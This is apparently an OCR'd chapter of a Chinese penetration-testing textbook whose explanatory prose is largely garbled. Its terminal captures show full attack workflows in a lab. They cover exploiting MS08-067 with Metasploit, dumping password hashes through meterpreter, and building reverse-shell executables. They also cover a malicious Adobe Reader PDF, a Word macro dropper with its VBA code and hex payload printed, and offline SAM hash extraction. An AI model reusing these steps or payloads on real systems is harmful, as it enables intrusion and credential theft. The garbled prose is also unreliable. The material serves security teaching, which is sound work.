53 %
T RRADTEA

3.1 Metasploit Framework

Metasploit J&— Uil JF & IS A0 A HT 9 JT HCF 6 - 7T L TARTE 2 M E R 2
A2 S

3.1.1 msfconsole

msfconsole /& Metasploit Framework (MSF) ¢ & & FH 69 F 2 8 0, T 1 DA — 4~ 52 4]
RABEWMMITE. TFEMmE BN, — G2 XP,— G2 BTS. 1& BT5 E L+ . F
F MSF i i - & 1) msfconsole $ FXF H A5 T 4L XP 52 Bt » miy $202& H bl XP B A
ms08-067 Y i .

IR 1. A S AT H i A msfeonsole Ji 8 msf, A 3-1 BioR

root@bt:-# msfconsole

dTh.dTh _gimes
4! v DE .Illﬂ.lrfl‘
6. N L
Wy, SR% AT g
T} P SN
“Yyp' Yo |

I love shells --egypt

=[ metasploit v4.5.0-dev [core:4.5 api:1.0]
+ -- --=[ 927 exploits - 499 auxiliary - 151 post
+ -- --=[ 251 payloads - 28 encoders - 8 nops
msf > [

K 3-1 J33h msf

A0 2. A ms08-067 Jiili B, 4 3-2 FlEl 3-3 Fri

msf > search mse8_867

Matching Modules

Name Disclosure Date Rank Description

exploit/windows/smb/ms88_B67 netapi 2008-10-28 00:00:00 UTC great Microsoft Server Service Relative Path Stack Corruption
K 3-2 % ms08_067 ik

msf > use exploit/windows/smb/ms88 @67 netapi
msf exploit(ms88 867 netapi) > |]

& 3-3  JHH ms08_067 itk
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AT S B TR S B, BCE H bR EHLRY 1P ik 408l 3-4 Prs

msf exploit(ms@8_867 netapi) > set RHOST 192.168.112.133
RHOST => 192.168.112.133
msf exploit(msB8_867_netapi) > show options

Module options (exploit/windows/smb/ms@8 067 netapi):

Name Current Setting Required Description

RHOST 192.168.112.133 yes The target address

RPORT 445 yes Set the SMB service port

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

&l 3-4 P& RHOST

R A I exploit Ay 4 Sl B i, A0SR B P w2459 2 H bR LAY meterpreter
shell,

3.1.2 meterpreter

meterpreter Jg&—/NINHE R R [ payload. — H7E H AR R G 2847 T meterpreter
payload. ¥4 il i AL AE 23 3 i meterpreter shell #4] H b5 ML, L UTF #SCHF 423
8 AR IBUE 05 Ay LR W 28 R E A0 55 . T D@ A LA SE A 7R meterpreter B BN .
TFE W & AL, 205l XP g LA BTS MEdbl. Hodh XP R4HLAY TP Hdik & 192.
168.112. 133,BT5 E#HIHLAY IP Huhik & 192. 168, 112, 128,

S 1. ARAFH B RGER DOS shell, iN& 3-5 fizR .

msf exploit(handler) = exploit

[#] Started reverse handler on 192.168.112.128:4444

[#] Starting the payload handler...

[*] Sending stage (752128 bytes) to 192.168.112.133

[#] Meterpreter session 1 opened (192.168.112.128:4444 -> 192.168.112.133:10838) at 2013-87-14 02:01:20 -0480

meterpreter > shell
Process 3616 created.

Channel 1 created.
Microsoft Windows XP [87 5.1.2688]
(C) BHEGHED 1985-2081 Microsoft Corp.

C:\shared>]]

Kl 3-5 45 HEr RS DOS shell

SE| 2. R4S BAs RE R password hash, WA 3-6 i 7R .

meterpreter > hashdump
Administrator:580:aad3b435b51404eeaad3b435b51404ee:31d6cfefd16ae931b73¢59d7e0cOB9cA: : :

Guest:501:aad3b435b51484eeaad3b435b51404ee:31d6cfeld16ae931b73c59d7eBcBBIcO: : :
HelpAssistant:1000:c8581419d68b3c91c36T4afe71576068:352f0d4b6622e64T4ad48cdec249bbed: : :
SUPPORT_388945a0:1002: aad3b435b51404eeaad3b435b51404ee: 2951893a5e469T1bbe2816bc5bfe6704: : :

meterpreter >
% 3-6  #45 Hir RS password hash

el 3. ARAF LT AR H A 1D, WniEl 3-7 fros .
L A: BRI ARG S ET A RS WA 3-8 Bk
SEl 5. ARAS bR R G5 RE A I 39 R

20



meterpreter > ps

Process List

636

688

692

848

860

932

lee@
1108
1308
1436
1592
1692
1752
1816
1880
1996
2016
2168
2640
3608

[System Process]
System
vmtoolsd.exe
TPAutoConnect .exe
SMSS.EXE
CSrSS.eXe
winlogon.exe
services.exe
lsass.exe
vmacthlp.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
explorer.exe
spoolsv.exe
TPAutoConnSvc. exe
wscntfy.exe
vmtoolsd.exe
ctfmon.exe
alg.exe

FileZilla server.exe
logon.scr
conime.exe

cmd. exe

meterpret

meterpret

meterpreter > pwd
C:\shared

meterpreter > getuid
Server username: WOO0-BAD34E1ABOB\Administrator

meterpreter >

K 3-7 A5 BAs TAESAZRFA P 1D

x86
XB6
%86
x86
%86
x86
%86
%86
x86
%86
Xx86
%86
x86
%86
%86

er >

er >

Session

4294967295

[ RN RN N N N R R N N N

3-8

meterpreter > screenshot
screenshot saved to: /root/flvspuXY.]jpeg

NT AUTHORITY\SYSTEM
W0O0-8AD34E1ABBB\Administrator
NT AUTHORITY\SYSTEM
NT AUTHORITY\SYSTEM
NT AUTHORITY\SYSTEM
NT AUTHORITY\SYSTEM

5 3%

R IR A R B A

C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe

\SystemRoot\System32\smss.exe

\??7\C:\WINDOWS\system32\csrss.exe
\?7\C: \WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe

\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe

\Program Files\FileZilla Server\FileZilla Server.exe

NT AUTHORITY\SYSTEM C: \WINDOWS\system32\lsass.exe

NT AUTHORITY\SYSTEM C:\Program Files\VMware\VMware Tools\vmacthlp.exe

NT AUTHORITY\SYSTEM C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\system32\svchost.exe

NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\system32\svchost.exe

WOD-8AD34E1ABOB\Administrator C:\WINDOWS\Explorer.EXE

NT AUTHORITY\SYSTEM C:\WINDOWS\system32\spoolsv.exe

NT AUTHORITY\SYSTEM C:

WO0O-8AD34E1ABBB\Administrator C:\WINDOWS\system32\wscntfy.exe

WO0OD-8AD34E1ABOB\Administrator C:\Program Files\VMware\VMware Tools\vmtoolsd.exe

W00-8AD34E1ABOB\Administrator C:\WINDOWS\system32\ctfmon.exe
C:\WINDOWS\System32\alg.exe

NT AUTHORITY\SYSTEM C:

WO00-8AD34E1ABOB\Administrator C:\WINDOWS\System32\logon.scr

WO0-8AD34E1ABOB\Administrator C:\WINDOWS\system32\conime.exe

WO00-8AD34E1ABOB\Administrator C:\WINDOWS\system32\cmd.exe

e — 3o .
AT H AR RGBS R

IC:“shared*meterpreter.exe

IC:“shared¥ipconfig

Mindows IP Configuration

IHit any key to quit w3m:[]

Al 3-9

ARAT B AR R G i # HA

21
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3.1.3 msfpayload

AN A mstpayload 2B — A A AT payload B 754 .
AR L B A HAA B R D RE R payload., Gl i ANIE] 3-10 s i A4 . Al

DA H G S EUE DL

22

A v | X root@bt: ~

File Edit View Terminal Help

root@bt:~# msfpayload windows/shell_reverse tcp 0

Name: Windows Command Shell, Reverse TCP Inline
Module: payload/windows/shell_reverse_tcp
Version: 14774
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 314
Rank: Nermal

Provided by:
v1ad902 <vlad902@gmail.com>
sf <stephen_fewer@harmonysecurity.com>

Basic options:

Name Current Setting Required Description

EXITFUNC process yes Exit technique: seh, thread, process, none
LHOST yes The listen address

LPORT 4444 yes The listen port

Pescription:

Connect back to attacker and spawn a command shell

root@bt:~# ||

3-10 BHHFEBH

SR 2. ¥EE payload ) LHOST %%, tnl&l 3-11 frs.

root@bt:~# msfpaylead windows/shell reverse tcp LHOST=192.168.112.128 O

Name: Windows Command Shell, Reverse TCP Inline
Module: payload/windows/shell_reverse tcp
Version: 14774
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 314
Rank: Normal

Provided by:
vlad902 <vlad982@gmail.com=
st <stephen fewer@harmonysecurity.com=

Basic options:

Name Current Setting Required Description

EXITFUNC process yes Exit technique: seh, thread, process, none
LHOST 192.168.112.128 yes The listen address

LPORT 4444 yes The listen port

Description:

Connect back to attacker and spawn a command shell

lrnnt@ht . -#

Kl 3-11 ## LHOST 2%



AR 3. AT AT SO WA 3-12 R .

root@bt:-# msfpayload windows/shell_reverse_tcp LHOST=192.168.112.128 X > /tmp/l.exe

Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell_reverse_tcp

Length: 314

Options: {"LHOST"=»"192.168.112.128"}

root@bt:-# 1s /tmp/l.exe

/tmp/1.exe

root@bt:-# file /tmp/l.exe

/tmp/1l.exe: PE32 executable for MS Windows (GUI) Intel 86386 32-bit

root@bt:-# Il

& 3-12 A i a] $AT Se

o iR A R A

ABR A TR BTS LB MW "R e . S50 B2 ISRy F2 8l i 2 L AN 1A 3-13~ ] 3-15

JIr 7R

[ metasploit v4.5.08-dev [core:4.5 api
[ 927 exploits - 499 auxiliary - 151 p
[ 251 payloads - 28 encoders - 8 nops

[
§ == ww

sf > use exploit/multi/handler
sf exploit(handler) > show options

Module options (expleit/multi/handler):

Name Current Setting Required Descriptio
Exploit target:

Id Name

@ Wwildcard Target

sf exploit(handler) > ]

& 3-13 J8 3} exploit/multi/handler &

msf exploit(handler) > set PAYLOAD windows/shell/reverse_tcp
PAYLOAD => windows/shell/reverse_tcp
msf exploit(handler) = show options
Module options (exploit/multi/handler):
Name Current Setting Required Description

Payload options (windows/shell/reverse tcp):

Name Current Setting Required Description
EXITFUNC process yes

LHOST yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name

@ Wildcard Target

msf exploit(handler) > set LHOST 192.168.112,128
LHOST == 192.168.112,128
msf exploit(handler) >

ost

K 3-14 [ E exploit/multi/handler #5 f) payload

Exit technique: seh, thread, process, none

23
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LHOST == 192.168.112.128
msf exploit(handler} > show options

Module options (exploit/multi/handler):
Name Current Setting Reguired Description

Payload options (windows/shell/reverse_tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique: seh, thread, process, none
LHOST 192.168.112.128 yes The listen address

LPORT 4444 yes The listen port

Exploit target:

Id Name

8 Wildcard Target

=
A
=+

exploit(handler) > exploit

Started reverse handler on 192.168.112.128:4444
Starting the payload handler...

*

K 3-15 [l & exploit/multi/handler f& 3 ) LHOST

RS HEsEN—HIZ4T T 1. exe, e m 42 BTSN 3-16 s,

msf exploit(handler) > exploit
Started reverse handler on 192.168.112.128:4444
Starting the payload handler...
Sending stage (248 bytes) to 192.168.112.133

Microsoft Windows XP [®} 5.1.2680]
(C) BBEGEHE 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator\Ge&é>More? [

& 3-16  “” 4

3.2 Jﬂﬁlﬁilnliit

0 S Y 1] A el 2 5 M P 8 S P 1 T TR I H S R AR ) — A Bl R . M
JUR BE A PDE 8 4% . MS Office Word 8538 T % 1 i F

3.2.1 Adobe Reader X PinimiEX T

B4e .17 BT5 1 H [ Metasploit Framework 61| 3% & PDF 04, £ F
A8 1.3 3 msfconsole, 18 ] Adobe Reader # & Im AL , iN K 3-17 Fr/n. R)5 .
B A\ A% Show options” , W& 3-18 Fr7R . A LA 3 i I 1 A5 B £ % 9 % 7 i /& Adobe
Reader 9. 3 LART A RRAS , 1M1 25 A% A9 0% 2 PDF SC4 44 BRIA & mdf. pdf.,
IR 2. BCE payload, QK 3-19 froR.
24
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msf > use exploit/windows/fileformat/adobe libtiff

sf exploit{adobe libtiff) >

=

B 3-17 8 i i A b

sf exploit(adobe 1ibtiff) > show options

Module options (exploit/windows/fileformat/adobe libtiff):

Name Current Setting Required Description

FILENAME msT.pdf yes The file name.

Exploit target:

Id Name

® Adobe Reader 9.3.@ on Windows XP SP3 English (w/DEP bypass)

& 3-18 “Show options” & £ 51 ik

msf exploit{adobe libtiff) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit{adobe libtiff) > show options

Module options (exploit/windows/fileformat/adobe libtiff):

Name Current Setting Required Description

FILENAME msf.pdf yes The file name.

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique: seh, thread, process, none
LHOST yes The listen address

LPORT 4444 yes The listen port

Exploit target:
Id Name

8 Adobe Reader 9.3.@ on Windows XP SP3 English (w/DEP bypass)

sf exploit{adobe libtiff) >

% 3-19 X' payload

XA, Y% P AR P AT F X A PDE SO 43 5% 76 S0 1 payload R85 3 25 1
B .

FATB E ) payload J2 DI REIR K Y meterpreter payload. J& 2 [n] & #HSE By . Hor,
LHOST 78 #4038 5 ) % 4% 19 TP bbb, LHOST A% 54X 3R 5 1) & 4% 1 o . BRI % 3%
SR 4444, 3B W ZH LHOST 28 5 (98 3% 8 5% BT5 (9 TP Hbhik . o 52 192. 168. 67.
129, 4Kl 3-20 fiow .

PR 3. AT exploit fig 442 i PDF U4 WKl 3-21 Fi7s

AL PDE SC 1 9 4 77 78 /root/. msfd/local 3 4~ U I T - 44 R & msf. pdf., 4%

25
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msf exploit{adobe libtiff)} > set LHOST 192.168.67.129
LHOST == 192.168.67.129
msf exploit({adobe libtiff) > show options

Module options (exploit/windows/fileformat/adobe libtiff):

Name Current Setting Required Description

FILENAME msf.pdf yes The file name.

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique: seh, thread, process, none
LHOST 192.168.67.129  yes The listen address

LPORT 4444 yes The listen port

Exploit target:
Id Name

® Adobe Reader 9.3.@ on Windows XP SP3 English (w/DEP bypass}

3-20 ¥ 'E payload [ HS 5K

sf exploit({adobe libtiff) > exploit

[#] Creating 'msf.pdf' file...
[ msf.pdf stored at /root/.msf4/local/mst.pdf

B 3-21 A j mst. pdf

S5 o AT AR 48 Fl ik 423 TR 22 4 )7 14845 PDF SCOETE B A% EALEEE 1Tl 4s H A% 361
ik — N HL TR B R X A% & PDE SO R 5 518 X 7 24T TR B .

YR 4 R E W)Y . PDF SCAEAE HARPL . a2 XP R B h B AT )5 - 23 S m)
HEAR MW EAL, SLIe BT VR MW LN 1 S 3h W W A2 ), an &l 3-22 fif s L /] LA
RV R FIESE 192, 168. 67. 129 1 4444 vy 1 8F 15 K 1) B2 )5 1 2 8 i 2 .

st > use exploit/multi/handler
1sf exploit(handler) = exploit

] Started reverse handler on 127.0.08.1:4444

] Starting the payload handler..

[-] Exploit exception: Interrupt

] Exploit completed, but no session was created.
nsf exploit({handler) > set LHOST 192.168.67.129
LHOST == 192.168.67.129

nsf exploit({handler) > exploit

[=
[
b
[=

[*] Started reverse handler on 192.168.67.129:4444
[*] Starting the payload handler..
| |

B 3-22 & WY

S5, 1 XP RIS, PDF (& P ok 2 F & Adobe Reader 9. 2 FiAS . ik msf.
pdf ZJ5 s SCE YT 25 A0 T B AT B 192, 168. 67. 129 [y 4444 #1176 BT s
Fl| meterpreter FH1 , SEEL T X XP ML A6 Un & 3-23 B/ o
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msf exploit(handler) > exploit

| Started reverse handler on 192.168.67.129:4444
| Starting the payload handler..

|#

[

[*] sending stage (752128 bytes) to 192.168.67.128

[*] Meterpreter session 1 opened (192.168.67.129:4444 -> 192.168.67.128:1837) at 2012-87-83 04:45:43 -84080

meterpreter > sysmfo

Computer WINXP-PRO-VM

0s : Windows XP (Build 2608, Service Pack 2).
Architecture : %86

System Language : zh CN

Meterpreter : XB6/win32

 3-23 5 Il KD

322 Word Z#EFRiwmE
F88 1. BT5 A msfpayload ] & vba. txt, 4K 3-24 fs.

root@bt: # msfpayload windows/meterpreter/reverse tcp lhost=192.168.67.129 v > /tmp/vba.txt

K 3-24 A& vba. txt

msfpayload JG 22 S 4. H P, windows/meterpreter/reverse tep % 7~ {8 i Y
payload, lhost 7R 2 [n] ¥ $ 11 TP Huht , 40 S ANFS 5 o 11, BROA S 4444 3 1. v 7R A2 i
vba A A . A B SCA U 24 0 vba. txt R FEALE /tmp SUFIETT

PR 20 G SO SRR vba, txt f&H 3 XP AL,

TEHEAL XP rp, B — I H ok e \share, W& 3-25 iR, 7 BTS w4 g
—A>/mnt/xp H3¢, 885 A mount fiy %4 /mnt/xp 5 XP MMM share H ECHE, 40
Kl 3-26 7R . XA XP LA BTS g IPLRh il DL Se sl 7,

>

A (117 | om0 4

3

=

(= Decunents and ( = .
LJ Settings I’J Frogram Files

) RSN S
o R o =
) BRI ._,_J NS ._,J Fenep

=

TPRLARES A IL-J mamssass | | e

=9 BRI
%] w%hﬁ’l\jif#é@ﬁ?ﬁﬂ

fd HEFHIC AR

A 3-25 JEAIHL XP At s [ g

27
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root@bt:/mnt# mkdir /mnt/xp

root@bt:/mnt# mount //192.168.67.128/share /mnt/xp

Password:
root@bt: /mnt#

Kl 3-26  BT5 Hh5CH: XP g3k s A g

A 3. £ BTS o JEZ AT A2 ) vba. txt #8 DU S /mnt/xp &, 41E 3-27 TR, 7€

XP HEHLAY c:\share H & T A& A F vba. txt. 4N 3-28 .

root@bt:/tmp# cp vba.txt /mnt/xp
root@bt:/tmp# ls /mnt/xp

rootebt: /tmp# ||
¥ 3-27 4 vba. txt $¥£ Il 3] /mnt/xp |

HBR 4. XP g % & doc U,

FTIF vba. txt, LA B P #2048 » Bl macro code #B43, WA 3-29 A7 . LA X payload

data #B43 . WA 3-30 Fras .

THE
Qre- © @ Pm= [ xux -

FIEE FFQW WWe TAOD #HHo

Hiht o |Q C:hshare

MRS S =

o UL
] wi%bﬁ’l\l‘if#%ﬁ?ﬁﬂ

g HEELEIEE

&l 3-28 XP fFL= H i H P vba. txt

"
‘# MACRO CODE

"

Sub Auto_0Open()
Uudnu12
End Sub
Sub Uudnui12()
Dim Uudnu?
Dim Uudnwu1
Dim Uudnu2
Dim Uudnu3
Dim Uudnui
Dim Uudnus
Dim Uudnv? As Boolean
Dim Uudnu5 As Integer
Dim Uudnuwi11 As String
Dim Uudnué As Byte
Dim Abmgmgjzoi as String
Abmgmgjzoi = “Abmgmgjzoi’

fAs
fAs
fAs
fAs
fAs
fAs

Integer
String
String
Integer
Paragraph
Integer

Uudnu1 = "ZwNvRogmUKuwtZ _exe"

Uudnu2 =
ChDrive (Uudnu2)

chDir (Uudnu2)

Uudnu3d = FreeFile()

Open Uudnui1 For Binary As

Environ{"'USERPROFILE")

Uudnu3

For Each Uudnuy in ActiveDocument.Paragraphs

DoEvents
Uudnuil =

Uudnul_Range.Text

If (Uudnu? = True) Then

[ 3-29
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"
'*= PAYLOAD DATA

"

Abmgmg jzoi

&H4D&HEA&H? B&H 80&H B3 &H 80&H BO&H 08&H 04&H 00&H 00&H O0&HFF &HFF &H B0&H BR&HBB &
&H 08&H 08&H 00&H B0&H 08&H 005&H 00&H 00&H 00&H 0A&H BO&H 08&H 005&H 00&H 00&H 00&H BO&|
&H 00&H 0B&HES &H 00&H 00&H 00&H BE&H1FEHBARH BE&H 00&HB4EH B2 &HCD &H21EHBB&H B1 &
&H72&H61&HGDEH2BEH63EHG61&HOEGHGEEHGFEH7 4&H2 0&H62EHA65&H2B&H72EHTS &HOE &
&H2E&H 8D &H 6D &H BA&H 2 4 &H 80&H B0&H 08&H 00&H 00&H 00&H 0B&EH?3&HIBEHF BEHD6EHD 7 &
EHUSEHO2EHES EHD3&HE O EHPERHBE GHE LEH S EH? BEHES EHDEEHS 2GHPEEHBS EHB B &H 46 &
GHOEEHBSEHD 7 EHE P &HOF EHBS EH1EGHS QEHPERHBE EHE 4 EHE1EHC I EHBS &HDF EHE 9 &HPE
&HESEHD 6 EHE P EHPERHBSEHE2EHA62&H63EHG6BEHD 7 EHE P &HPEEH 85 &H 00&H 00&H 00&H BO&|
&HS B&H 45 &H 00&H B0&H 4C &H 01 &H 04 &H 00&H81&HF 3&HOE&H 4A&H BO&H 00&H 00&H 00&H BO&|
&HBE 8&H 00&H 08&H 00&HA B&H 0&H BO&H 00&H 00&H 00&H 00&HCS &H?6 &H 00&H BB&H BO&H 1 BE
&H B8&H 00&H 08&H 1 8&H 8&H 80&H B4 &H 08&H BA&H 08&H BA&H AB&H 80&H ABEH B4 &H BBEH BBE&
&HB8&H 00&H 08&H 00&H 08&H 82 &H 88&H 08&H BA&H 08&H BA&H 1 0&H 80&H AB&H1 B&H BBEH BBE&
&H18&H 00&H 08&H 88&H 88&H 08&H BA&H 08&H 8A&H AB&H 00&H BBEHGCEHC 7 &H A0&H BREH 7 B &
£H ARZH ARZH ARZH ARZH ARSH ARZH ARZH ARZH AAZH ARZH ARLH ARZH ARZH ARSH ARRH ARZH ARE|

¥ 3-30 payload data

RGBT — A Word 3CF . #THF Visual Basic gn%g#% . i A — S de, anll 3-31 A

3-32 Jfi/n . 4 vba. txt SCASCAFEH macro code #4345 D1 25X B, A& 3-33 fron ., f

vba. txt SCAILAF ' payload data #8548 U1 2] Word SCFAYIESCH U &l 3-34 Fri .

IE@ | FHEe #Ow o
(T8 HEMBEGQ. . TR E - - 52 =
; ﬂ FRER ®... M+ 4 I.S 1.8 2.0 2.2 24 26 28 30 3z 34
i BE L » _ L ——
FEEET W
EE W
HETHE ®.
(=E SR ©) » wAD (B EE
Z=m ’| [ R RLt+FE 3 iz B k2 | 3
BEXO. .. o FEFEE@. = RPE#EW
0. vy
¥ |2 visual Basic FESEW ALLHFLL 2l RO
98 Microsoft BIZRRIREE (1), .. ALt+ShiftF11 L)
3-31 B — R B 3-32 B — ARk

payload data ijiﬁﬁj(’ﬁﬂﬁz:ﬁﬁﬂ‘fﬁ’ﬂ% Word Eﬂﬁ@%%ﬂ%'ﬁo FJ?U»EILJ
LT AN R S O 1, R SCAS B R R SR Y B ) B A TR R B

payload data,

IR S B doe UFRY I SEEE L AT AR AL 2 TR

Tk s BAs AT doe 3¢

s — B3O AT IF . Word 7% it 25 8 R AT+ B 1o 3% 45 MG W = L. MG T 2 LAt & 7% 2
meterpreter STl . Fy EEE R AL DA A B0 O vk 20K B AR EPLK Word SeVF SUIFTIT

IS
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TGEmD

End Sub

Sub huto_Open()
ThdnwlZ

Iim
Dlim
Dim
Dlim
Dim
Dlim
Dim
Dim
Tlim
Diim
Iim

For

Sub MdnwlZ ()

Abmgmzizoi = "Abmgmzizoi”
Tudnwl = "ZwHvRognUEuwtZ. exe”
Tdnv? = Enwiron ("USERPROFILE™)
Chllriwve (Uhadnw?)

Chllir (VudnwZ)

Thdrnw3 = FreeFile()

Open Vadnwl For EBinary As Tudowd

TadnwT As Integer
Tdnwl = String
Tadnw? b= String
Tadnw3 hz Integer
Tadrwd A=z Paragraph
Tadnwd Az Integer
ldrwd f= Boolean
Thadnws A= Integer
Tdnwll A=z String
Tadnvfh Az Byte
Abmamgizer As String

Each Undnwd In Activellocument. Faragraphs
DloEvent=

Tudnwll = Uudnwd. Range. Text

Microsoft Word

[¥] 3-33 payload data

FE #lEw SO #e IAO FHew #OWw #Ho

bl RE| a3 S99 T sEEe Biarx

& B 42

2 4 & 8 10 12 1 18 18 20 22 24 26 28 a0 3z a4 36 38 40 42

Abmomgizod

&HAD &HS A&HI0&H0 &HI3 & HI0 & HO0 &HO0&HI4 &HI0&HI0&H0&HFF &HFF &HO0&

HO0&HBS&HI0&H0&HI0&HI0&HI0&HI0&HI0 & H40 & HO0 & HI0 &£HI0 &£H00&HO0&HD0
&H00&H00&HD0&HO0&HD0&H00&H00&HO0&HO0&HO0& HO0& HO0& HO0& HO0& HOD&HD
0&HO0&HO0&HO0&HI0&HI0&HID&HOD& HOD& HOD & HOD & HI0&HOD& HOD& HES & HOD &

H0&H0&HOE&HIF &HB A&HIE&H0 & HB4 &HI0&HOD & H2 | &HB 3&H 1 &HICAHCD &
H21 & H54 & HA8 & HAS & HF 3 & H20&HT 0 & HT 28 HAF & H67 & H7 280H6 1 & HED &H20 & He 3&Hb L
&HEE&HEE&HGF &H74 & H20& H62& HE5& H20& HT 2& HT5 & HEF & H20 & H69& HEF & H20&H
44 &HAF &H5 38 H20&H6D &HAF &H64 & H65 & H2E & HOD &HID &HI A&HI4 & HI0 &HIEHD

0&H00&HO0&HOD&HOD& HO3& HI8& HF 0& HD6 & HD7 & HS0& HOE & HE5 & HD 7 & H5 04 HIE

&HE5 & HDT & HSD& HOE & HE 5 & HAC & He5 & HI 2 & HE5 & HD3& HS0 & HIE L HA5 & H54 & HAS &

Iy I I mary rInmar IIn o oTrasoTIng ATy I 1T arn rmoarr

& 3-34 il k1Y payload data

3.3 Exploit-db

Exploit-db J&4&F Web % s il £ 4 . 5 i F — > 52 R & w96 5k . B A
b RS E A ms08_067 i . 7€ exploit-db. com _E# &K A I IR AL 3 LA H . 4
B 3-35 Bz AE M 3 B A8 R F ms08_067 Yl A9 AH K AUHS . LS & L Python A JE X

KATHY £ X RS H AR RS & Windows 2000 5%, Windows 2003, {1 3-36 A,
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% 3% REAAHEK

Search

Please enter your search criteria below
Description:
Free Text Search:
Author:

=1

4

Platform:

Type

Language

Port:

OSVDB

CVE (eg: 2010-2204)

4 4
4 4

SEARCH

P 3-35 1 Z IR A0 A AU

Ferey | [ ——— K virdows serversorie cote-< | = R
& exploit-db.com/exploits/ 7137 (=]
B RS | JERsSS [ FELE || mAmL

MS Windows Server Service Code Execution Exploit (MS08-067) (2k/2k3)

EDB-ID: 7132 CVE: 2008-4250 OSVDB-D: 49243
Author: Debasis Mohanty Published: 2008-11-16 Verified: ¥ Rating
Overall: (0.0)
Exploit Code: [&] Vulnerable App.  N/A
Previous Exploit Home Next Exploit

t
T
[}

import struct
import sys

from threading import Thread

try:
from impacket import smb
from _impacket import wuid

[ 3-36 KRB

1 A meterpreter [ F 77k
2. a3 msfpayload B H 75 .
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m

2 Ay B R B R

4.1 REBIFREVHZELIRS

411 LMRGHBLA

Windows XP i 9 F A [7] (% %5 54 22 7R 5 s GRS FR A G A ) A BT A7 it 1 P Tl P %
M AR AW SCIEAE R P IR P &, S PR P R B E NS DT 15 PR
AL}, Windows 2=k i 88 15 [8] Bt 4 i, LAN Manager 5 75 (LM 15 7)) #1 Windows NT
WAy (NT IS i) o 3K S8 I 75 A7 fiff 76 AR M 22 42 K P A B 2 (SAMD B4 8 810 Active
Directory Hr, LM W7y i F 2R S0 F .

(1) B2 W 8RS -6

(2) BB LA 7 AL FAF R

(3) ffi fl DES &3,

(4) NT 3.1 & XP,BRIANRE T A6 LM W3 75

412 BRFATEITRETRIEEBHF

ARG TBEBITRET AR THATUIRBRS WSS A W 4-1 Fros, FIH
pwdump? T = 52 U R S Ay

C = “pudump? >PulDunp? . exe

Pudump v?.1 — raw password extractor

Author: Andres Tarasco Acuna
wl: http:/Zwuw. 514 es

Administrator:50@:AEBD4DE384C7EC43AAD3IB435B514B4EE-B25578D6 BBB831 B?BEFUGECECI B8

west L1 i MO PASS WO R s s st o siaeosiaeowi 00000000 5 M0 PRGSO TR T 0000000000000 B0 B S

Help9351“tant 1800:Ca581417D6BB3CI1C36F4AFETLS76068 - 352FBD4BGE22E64F4HD4SCDECZ4

_3B8945a0:1002 :NO PASSUORD:ommmmensesnmesenoen: 2951 893ASE469F1BBE2816BC

C: predump? >

K 4-1 pwdump?7 $& B 6 05 7



41.3

RELTRXARESTREGR

BARGAE T RUAPRE T I ol LA BTS S #5)5 2h H bs 0L, 85 52 BUE 15105
A R AL XP LY H AR EL. A BTS /9 1SO SCHFEEY BTS S6#E.
ABE 1 WE AL XP AOG#EE M BTS 18O S48 3 a8l 4-2 fios

e s

H4F FHEBHEA

Mirtual Machine SetﬁngE-' il — =

Hardware | Options

i

Device Summary
 Memory 512 MB
[ Processors 4

£ JCD/DVD (IDE)  Auto detect I

Device status
|| Connected

[¥] Connect at power on

Connection

oppy "RUTD OEtecT
TS INetwork Adapter  NAT
USB Controller  Present
'0-' Sound Card Auto detect
B=1Printer Present
[Mpisplay Auto detect

) Use physical drive:

Suto rm't

@ Use IS0 image file:

D:\wmdkbt5r3.iso

e

[ e

J[Lcancel |[ ben |

&l 4-2

W 1SO 8% S

AR 2. BE XP B AUHLERS S0 ot R sh LS . 805 i 3 XPL A BTS R4,

WA 4-3 iR .

" xp - VMware Player (Non-commercial use only) ﬁ

Player + * of m o

Applications Places System [5]

=1

Q

Install BackTrack

t] [ Wed jul

<< back [ track 5

[ 4-3

HEAE BTS Hm
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e AL GHER A s

AR 3. 78 BTS wp, 4R 5 XP 8 i H: 800 AE ARG P 2 /media”, S5 . 12 BTS 1
AT AT L HEA XP U R SE . WA 4-4 iR .

| Wed )i

~# cd /medla/
s /m !.i:’i# 1s
1B cdrom
.n# cd 6684BF3184BF93IB/
‘media/6684BF3184BFO31E# s
H}‘E;l! ivers
_ Volume Information
john179 WINDOWS
KsafeRecycle
Program Fi
Documents and Settings MSOCache pwdump?
root@bt: /mediz =

Bl 44 W XP XA RS

AR 4 JEAXP BRI 4-5 R H R R

root@bt:-# cd /media/

root@bt: /media# 1s

6684BF3184BF0318 cdrom

root@bt: /media# cd 6684BF3184BFO31B/
root@bt: /media/6684BF3184BF0316# 1s

MyDrivers RECYCLER
AUTOEXEC.BA 10,5YS NTDETECT.COM  System Volume Information
hootfont,bin johnl79 WINDOWS
boot.in KsafeRecycle 2. 5Ys
INFIG.SYS MSDOS,.5YS Program Files
Documents and Settings MSOCache pudump?

root@bt: /media/6684BF3184BF031B# cd WINDOWS/system32/config/
root@bt: /media/6684BF3184BF031B/WINDOWS/system32/config# 1s

06 systemprnflle
root@bt fmed1aj6EB4BFBlﬂdﬂFB3lBfHINBBHS[systemszicnnflg#

A 4-5 FEARG MK

A PR 5. A bkhive FI samdump?2 T H 4@ U8 i 05 Ay 40 18] 4-6 FIIE 4-7 Fros
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F4F FEREMEAK

root@bt: /media/6684BF3184BF031B/WINDOWS /system32/config# bkhive
bkhive 1.1.1 by Objectif Securite
http://www.objectif-securite.ch

original author: ncuomo@studenti.unina.it

Usage:

bkhive systemhive keyfile

root@bt: /media/6684BF3184BF0O31B/WINDOWS /system32/config# bkhive system woo-key
